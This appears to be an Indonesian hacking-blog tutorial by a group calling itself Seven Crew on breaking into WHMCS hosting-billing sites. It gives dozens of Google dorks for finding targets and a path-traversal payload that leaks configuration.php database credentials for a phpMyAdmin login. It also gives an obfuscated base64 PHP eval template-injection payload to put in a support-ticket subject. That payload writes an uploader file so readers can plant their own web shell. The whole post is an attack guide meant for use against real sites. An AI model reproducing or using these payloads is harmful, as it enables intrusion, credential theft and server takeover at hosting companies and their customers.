Hack Whmcs Part 2

TAdi Udah Di Jelasin Cara Hack Whmcs Via Submitticket .
Skarang Kita Lanjut Ke Next Stepp ..
Teknik Exploit Injection .
Dork Liat Di http://cyberscafe145.blogspot.com/2012/09/tutor-hack-whmcs.html  .
 Tapi Yang Dork Teknik Exploit Inject yahh ..
Oke Skarang Buka WEbsite nya ..
Contoh . :www.domain.co/whmcs/cart.php
Ganti Cart.php Dengan Exploit ini ->
cart.php?a=projectx&templatefile=../../../configuration.php
Contoh SS .

 Contoh SS sesudah di exploit inject

Berhasil Seperti itu .. Tinggal Di PAge Source / CTRL+U . Akan Keluar Database nya . Liat SS

TinggaL CAri Dehh Phpmyadmin nya . Truzz Loginnn .. :D

Owned By Detol Seven Crew
And
Team Seven Crew

Tutor Hack Whmcs

Fromm All Member ..
Oke Kita Skarang Blajar Hack Whmcs ..Udahh Siap Semuaa .. Tapi Bentar Dullu  Dah Pada Tau Belomm WHMCS Itu App ..Oke Yang BElum Tau Merapat :DNieh Tak Jelasin WHMCS Itu Appa ._
WHMCS adalah suatu script yang sekarang paling dipakai oleh banyak kalangan webhoster karena dengan memanage yang mudah.
WHMCS juga adalah sebuah billing yang berfungsi untuk pembuatan account hosting,reseller,vps maupun dedicated.
WHMCS bisa dikatakan billing paling bagus untuk saat ini dan bisa dikatakan billing nomor 1, WHMCS melebihi billing2 yang lain seperti ModernBill,AcountLab ++ dan lainnya.
fitur WHMCS juga boleh dikatakan hampir komplit untuk urusan memanaged hosting, anda akan di manjakan dengan BILLING WHMCS ini ..
Oke Kita Mulai Siapin Bahan Bahan nya :

1.  Kopi biar ga ngantuk
2. Cemilan ..
3. dan lain lain .. :D

Hack Whmcs Itu Ada 2 Cara 1 . Dengan Metode Submitticet .2 . Dengan Metode Exploit ..
Dork :1. inurl:whmcs/cart.php?a=
2. inurl:billing/cart.php?a=

Dork Lengkap Untk Teknik Submitticket

1.   intext:Powered by WHMCompleteSolution
2. inurl:submitticket.php intext:Powered by WHMCompleteSolution
3. inurl:clients/submitticket.php intext:Powered by WHMCompleteSolution
4. inurl:client/submitticket.php intext:Powered by WHMCompleteSolution
5. inurl:clientsarea/submitticket.php intext:Powered by WHMCompleteSolution
6. inurl:clientarea/submitticket.php intext:Powered by WHMCompleteSolution
7. inurl:crm/submitticket.php intext:Powered by WHMCompleteSolution
8. inurl:cp/submitticket.php intext:Powered by WHMCompleteSolution
9. inurl:manage/submitticket.php intext:Powered by WHMCompleteSolution
10. inurl:member/submitticket.php intext:Powered by WHMCompleteSolution
11. inurl:members/submitticket.php intext:Powered by WHMCompleteSolution
12. inurl:billing/submitticket.php intext:Powered by WHMCompleteSolution
13. inurl:billings/submitticket.php intext:Powered by WHMCompleteSolution
14. inurl:support/submitticket.php intext:Powered by WHMCompleteSolution
15. inurl:help/submitticket.php intext:Powered by WHMCompleteSolution
16. inurl:secure/submitticket.php intext:Powered by WHMCompleteSolution
17. inurl:store/submitticket.php intext:Powered by WHMCompleteSolution
18. inurl:whmcs/submitticket.php intext:Powered by WHMCompleteSolution
19. inurl:log/submitticket.php intext:Powered by WHMCompleteSolution
20. inurl:myaccount/submitticket.php intext:Powered by WHMCompleteSolution
21. inurl:orders/submitticket.php intext:Powered by WHMCompleteSolution
22. inurl:order/submitticket.php intext:Powered by WHMCompleteSolution
23. inurl:portal/submitticket.php intext:Powered by WHMCompleteSolution
24. inurl:mc/submitticket.php intext:Powered by WHMCompleteSolution
25. inurl:office/submitticket.php intext:Powered by WHMCompleteSolution
26. inurl:submitticket.php site:com intext:Powered by WHMCompleteSolution
27. inurl:submitticket.php site:org intext:Powered by WHMCompleteSolution
28. inurl:submitticket.php site:net intext:Powered by WHMCompleteSolution
29. inurl:submitticket.php site:info intext:Powered by WHMCompleteSolution
30. inurl:".*/*/submitticket.php" intext:Powered by WHMCompleteSolution
31. inurl:".*/submitticket.php" 

pilih salah satu yah kak di google, inget jangan malas yah mencarinya di google :D semangat terus jangan menyerah :D

#Injector :  cart.php?a=test&templatefile=../../../configuration.php

Kita Bahas HAck WHMCS Submittiket Dullu ya .. _

Ini Exploit nya . Taro Di Subject ya .->
{php}eval(base64_decode('JGM9YmFzZTY0X2RlY29kZSgiUEQ5d2FIQU5DbWxtS0dsemMyVjBLQ1JmVUU5VFZGc25VM1ZpYldsMEoxMHBLWHNOQ2lBZ0lDQWtabWxzWldScGNpQTlJQ0lpT3lBTkNpQWdJQ0FrYldGNFptbHNaU0E5SUNjeU1EQXdNREF3SnpzTkNnMEtJQ0FnSUNSMWMyVnlabWxzWlY5dVlXMWxJRDBnSkY5R1NVeEZVMXNuYVcxaFoyVW5YVnNuYm1GdFpTZGRPdzBLSUNBZ0lDUjFjMlZ5Wm1sc1pWOTBiWEFnUFNBa1gwWkpURVZUV3lkcGJXRm5aU2RkV3lkMGJYQmZibUZ0WlNkZE93MEtJQ0FnSUdsbUlDaHBjM05sZENna1gwWkpURVZUV3lkcGJXRm5aU2RkV3lkdVlXMWxKMTBwS1NCN0RRb2dJQ0FnSUNBZ0lDUmhZbTlrSUQwZ0pHWnBiR1ZrYVhJdUpIVnpaWEptYVd4bFgyNWhiV1U3RFFvZ0lDQWdJQ0FnSUVCdGIzWmxYM1Z3Ykc5aFpHVmtYMlpwYkdVb0pIVnpaWEptYVd4bFgzUnRjQ3dnSkdGaWIyUXBPdzBLSUNBTkNtVmphRzhpUEdObGJuUmxjajQ4WWo1RWIyNWxJRDA5UGlBa2RYTmxjbVpwYkdWZmJtRnRaVHd2WWo0OEwyTmxiblJsY2o0aU93MEtmUTBLZlEwS1pXeHpaWHNOQ21WamFHOG5EUW84Wm05eWJTQnRaWFJvYjJROUlsQlBVMVFpSUdGamRHbHZiajBpSWlCbGJtTjBlWEJsUFNKdGRXeDBhWEJoY25RdlptOXliUzFrWVhSaElqNDhhVzV3ZFhRZ2RIbHdaVDBpWm1sc1pTSWdibUZ0WlQwaWFXMWhaMlVpUGp4cGJuQjFkQ0IwZVhCbFBTSlRkV0p0YVhRaUlHNWhiV1U5SWxOMVltMXBkQ0lnZG1Gc2RXVTlJbE4xWW0xcGRDSStQQzltYjNKdFBpYzdEUXA5RFFvL1BpQT0iKTsNCiRmaWNoaWVyID0gZm9wZW4oJ2Rvd25sb2Fkcy9pbmRleHgucGhwJywndycpOw0KZndyaXRlKCRmaWNoaWVyLCAkYyk7DQpmY2xvc2UoJGZpY2hpZXIpOw=='));exit;{/php}

oke skarang Buka Google TAruh Dork .. Yang Diatas Untk Teknik Submitticket Kalo Sudah Buka Web yg TerPilih ( kaya Gubernur Aja Harus Dipilih :D )Contoh ss .

Jika Sudah Masuk
Liat SS nya LAgi .

Nah Kita Succsees Buat / daftar Submitticket ..
Sekarang Tinggal Buka Dehh ..
Contoh .: www.domain.co/whmcs/submitticket.php?step=2&deptid=1di
ubah Jadi : www.domaint.co/whmcs/downloads/indexx.phpHasil

Jadi Seperti Ini .
TinggaL Upload Dehh Shell Kalian .
contoh : www.domain.co/whmcs/downloads/indexx.php
Jadi : www.domain.co/whmcs/downloads/namashell.phpLiat SS : http://a6.sphotos.ak.fbcdn.net/hphotos-ak-ash3/578572_167735916697117_192801804_n.jpgOke
Sekian Dullu Ya . Teknik Exploit Inject Nya Lanjut Besok ....
Pegel Juga Yahh .. Hufttt Hadohhhh ... :D
Inti nya Jangan Putus Asa Bila Tidak Bisa CAri Target Yang Lainnnn ... :D
Owned By Detol Seven Crew
And
All Team Seven Crew ..